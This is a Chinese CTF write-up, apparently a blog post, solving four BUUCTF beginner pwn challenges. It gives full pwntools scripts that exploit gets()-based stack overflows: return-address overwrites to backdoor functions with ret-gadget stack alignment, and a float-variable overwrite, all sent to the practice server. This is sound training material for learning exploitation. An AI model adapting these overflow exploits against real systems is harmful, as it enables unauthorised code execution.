PWN-PRACTICE-BUUCTF-1
- test_your_nc
- rip
- warmup_csaw_2016
- ciscn_2019_n_1
test_your_nc
附件的main函数直接system("/bin/sh"),nc直接连即可cat flag
rip
main函数中,gets函数读取一行会造成栈溢出
构造payload覆盖rip,使得return时跳转到后门函数fun
脚本如下,特别注意的是附件为64位的elf,调用system时必须保证地址是16字节对齐的
参考:在一些64位的glibc的payload调用system函数失败问题
一般在调用system前用一个ret指令来实现内存对齐
ret指令可以用ROPgadget来找,如下
ROPgadget --binary pwn1 --only 'ret'
from pwn import *
#io=process("./pwn1")
io=remote("node4.buuoj.cn",29206)
#连接到服务器上没有输入的回显,直接打就行了
#io.recvuntil("please input\n")
fun_addr=0x401186
ret_addr=0x401016
#payload=b'a'*(15+8)+p64(fun_addr)
#64位的elf 调用system时 需要16字节的内存对齐 用一个ret指令来对齐
payload=b'a'*(15+8)+p64(ret_addr)+p64(fun_addr)
io.sendline(payload)
io.interactive()
warmup_csaw_2016
main函数中,程序打印后门地址,gets造成栈溢出,和上面那道rip一样的思路
几乎和rip一样的脚本
用一条ret去对齐内存,本地和远程都能打通
不用ret去对齐,本地打不通,远程能打通
from pwn import *
#io=process("./warmup_csaw_2016")
io=remote("node4.buuoj.cn",26619)
backdoor_addr=0x40060D
ret_addr=0x4004a1
payload=b'a'*(64+8)+p64(ret_addr)+p64(backdoor_addr)
io.sendline(payload)
io.interactive()
ciscn_2019_n_1
main函数进行一些初始化,然后来到func函数
可以看到,v2被赋初值为0.0,而gets可以造成溢出,超过44个字节的部分会覆盖到v2
于是考虑将v2覆盖为11.28125,但是不能直接在填充v1的44个字节后面加“11.28125”
需要用二进制(字节)的形式去表示
根据if处的汇编代码能找到11.28125的二进制表示
脚本如下
from pwn import *
#io=process("./ciscn_2019_n_1")
io=remote("node4.buuoj.cn",29354)
io.recvuntil("Let's guess the number.\n")
payload=b'a'*44+p64(0x41348000)
io.sendline(payload)
io.interactive()